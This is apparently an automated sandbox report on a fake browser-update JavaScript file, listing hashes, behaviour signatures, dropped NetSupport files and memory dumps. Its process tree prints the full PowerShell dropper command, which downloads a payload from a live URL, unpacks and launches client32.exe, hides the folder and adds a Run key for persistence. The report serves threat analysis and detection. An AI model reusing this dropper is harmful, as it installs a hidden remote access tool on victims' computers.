Analysis

  • max time kernel
    1166s
  • max time network
    1192s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-01-2024 17:44

General

  • Target

    Update_browser_17.6436.js

  • Size

    434KB

  • MD5

    3e2fdaa39431f19d92dc3e4de776593d

  • SHA1

    3255b30e085afa114e2a5b0cf9419d1487059ca8

  • SHA256

    41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975

  • SHA512

    766ebbd8a92d605e04d9ab02ac6c9299bfdbc8eae73c5346510b79e600966d85b3f70a0c8fcbdc52583353e8c4a982c74450a55e9d0992deaa1f2d19cea8baf3

  • SSDEEP

    6144:g+IrEhFgMczj0aw0810VLuqjHFPm4HQQuZ2Ozr:gqkdj8gY4HQJ2O3

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ghostcitygames.com/data.php?10037

exe.dropper

https://ghostcitygames.com/data.php?10037

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD='https://ghostcitygames.com/data.php?10037';$BuATdCvSzZ=(New-Object System.Net.WebClient).DownloadString($YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD);$nHkEqkTJwNaPgGOsWZuUSkyXGs=[System.Convert]::FromBase64String($BuATdCvSzZ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqRKxBuNYN=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqRKxBuNYN -PathType Container)) { New-Item -Path $KqRKxBuNYN -ItemType Directory };$p=Join-Path $KqRKxBuNYN 'lol.zip';[System.IO.File]::WriteAllBytes($p,$nHkEqkTJwNaPgGOsWZuUSkyXGs);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqRKxBuNYN)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqRKxBuNYN 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqRKxBuNYN -Force; $FSDFSSD.attributes='Hidden';$s=$KqRKxBuNYN+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gx5ryzso.thn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL

    Filesize

    127KB

    MD5

    0270d0ec7bf77479f9826b89249f2bdb

    SHA1

    e23c00370168f9c2a5436f12b6d89929f68b296d

    SHA256

    32f47f8e13761d6bf754b3f71930bb501bb960f9f978effed9f5f57734083e1d

    SHA512

    ff02f3878206a7acb95464faf460e519d5c1d4355d8a2b1c564fdb9580f7341b9e39d4ae93d4625f78fe4c0610920c77d735f98e1e9fd76f3cf66d887ccb635c

  • C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL

    Filesize

    106KB

    MD5

    cfc887dd00b255f86a2f29764a33a8a5

    SHA1

    898daadf3e5bbe53556b8001a6a8683833148813

    SHA256

    34b55ccbbdc5a100879f14e3b206fb7e0f13367c68b683fe16b866d3135ed2d6

    SHA512

    3aedd1b70ea1f798fbb5855d2377901bf2c19d89affc21a3fd6826b6628f0d7b78e919270f5cbc298667837216f1971efed62181110b393382dfc809e024ef49

  • C:\Users\Admin\AppData\Roaming\DIVX735\MSVCR100.dll

    Filesize

    244KB

    MD5

    ee1672e9428831a29dca52beae139637

    SHA1

    1bbffe394ab0ef0d63295cf62f987a15c91ee3de

    SHA256

    6a85adf94a118605eb0effff8aa10479484b715576c5e398f7d157f63267349d

    SHA512

    2de4e5416b8a29e41aee4cb091f36065780153ab0dadca3ab65597cbe0657601a5793edad0803fd1ea84b1dbfea7ae2200d0a4b5171598d46b56d1b23addefb7

  • C:\Users\Admin\AppData\Roaming\DIVX735\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX735\PCICHEK.DLL

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.DLL

    Filesize

    242KB

    MD5

    285f5b45473af8ae3416d1abe2d821ac

    SHA1

    4384aefaa6016a3c73ea4ddd3b985eb86e24b339

    SHA256

    270dbb5709b3683328454f2ceec0a4701e762a68aa72ebad32bd8c457d8b0f1f

    SHA512

    5ff4f7dfb871965e71dd86cc10ea8764a96e9e45d4fb793078899b0a0c14fc6b95e262418347304af390b0344bce07403ac7ba9bbe2be485273cfa4cb63b5f57

  • C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.dll

    Filesize

    188KB

    MD5

    07a2966b6e658979e96677513d38528c

    SHA1

    50826ea50a65a33fdd6d66f927838419c309103f

    SHA256

    e4d11778441f66539763a940832eacd21b33376b9e4694849f406023b00ca6c3

    SHA512

    d3791cd87aae7cc22cd1d403d4a18a4d209a626c1b235a29c64bbac69e5f5d092b6f580ccb2b26eed10c7ed3e35153e870a0f9b1cf5d6436fd6487708ed51663

  • C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe

    Filesize

    96KB

    MD5

    63b944ca35164d5fa61f62bbd567a626

    SHA1

    341f4a97f69bf8357a9572519aed372728e7e540

    SHA256

    8cd1e5c76a8d56d1475013d86ac679d366dfaad49be5d2e09a4b928072d09729

    SHA512

    786c2a49287d95ba79c2f135654dd0f359412154454cea76b6867052a0b994a874110d771888310078550e19477de326207bc6f71c02260efd1b20d4484b5b67

  • C:\Users\Admin\AppData\Roaming\DIVX735\client32.ini

    Filesize

    701B

    MD5

    98043670d8c850e878e333312fcfa25a

    SHA1

    dc795e8b906d70ee5854a6797e0c1557375bc443

    SHA256

    0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

    SHA512

    13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

  • C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll

    Filesize

    136KB

    MD5

    bdca69633cf9de21a43b1088caa3cf78

    SHA1

    7fd683f5227ae64a98abe92affb1bcbc05adaa57

    SHA256

    4259aec4f6d6a6651542802febae87b36a531088bde916d492719963e52c2df0

    SHA512

    67b1a92f3880e4bc1050f925f62c0b15e4ef11ab185aae5fc4a50340c4aa36a988c8a0b1058a259d104c74497d8cb1c29299ef782cbe19df4f77e971843bc37b

  • C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll

    Filesize

    131KB

    MD5

    d2437e2e4ada7fd263b8fa2c37b0b651

    SHA1

    a4d103c62dc898ff8d505ddbebab16eaddcdf74e

    SHA256

    a6d216f06df979a52b4c301ca55bce9c926f47f0bdfa1382a18a22279ce54885

    SHA512

    c0a14ee673929d2618198a474f36dc54e862d155760e63130592477805d52080a620818d3f37ad6b3f882ca70c7b873156868e7a3fc904865d42098427c12012

  • C:\Users\Admin\AppData\Roaming\DIVX735\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • memory/1028-9-0x00000290DC210000-0x00000290DC232000-memory.dmp

    Filesize

    136KB

  • memory/1028-82-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

    Filesize

    10.8MB

  • memory/1028-14-0x00000290F47E0000-0x00000290F47EA000-memory.dmp

    Filesize

    40KB

  • memory/1028-15-0x00000290F4810000-0x00000290F4822000-memory.dmp

    Filesize

    72KB

  • memory/1028-12-0x00000290DC240000-0x00000290DC250000-memory.dmp

    Filesize

    64KB

  • memory/1028-11-0x00000290DC240000-0x00000290DC250000-memory.dmp

    Filesize

    64KB

  • memory/1028-10-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

    Filesize

    10.8MB